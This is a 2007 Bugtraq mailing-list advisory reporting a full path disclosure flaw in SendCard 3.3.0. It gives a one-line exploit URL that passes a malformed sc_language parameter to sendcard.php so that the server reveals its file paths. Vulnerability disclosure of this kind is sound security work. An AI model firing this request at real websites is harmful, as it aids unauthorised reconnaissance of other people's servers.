Full Path Disclosure in SendCard

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Full Path Disclosure in SendCard
From: xx_hack_xx_2004@xxxxxxxxxxx
Date: 31 May 2007 23:22:41 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Hello
Vulnerable : SendCard
Version : 3.3.0
Web : http://www.sendcard.org

Exploit :
http://example.com/sendcard/sendcard.php?sc_language=['Anything']

--------------------

Discovered By Linux_Drox
www.LeZr.Com

Best Regards ,,,

Prev by Date: Prototype of an PHP application ===> RFI
Next by Date: n.runs-SA-2007.013 - F-Secure Antivirus LZH parsing BufferOverflow Advisory
Previous by thread: Prototype of an PHP application ===> RFI
Next by thread: n.runs-SA-2007.013 - F-Secure Antivirus LZH parsing BufferOverflow Advisory
Index(es):
- Date
- Thread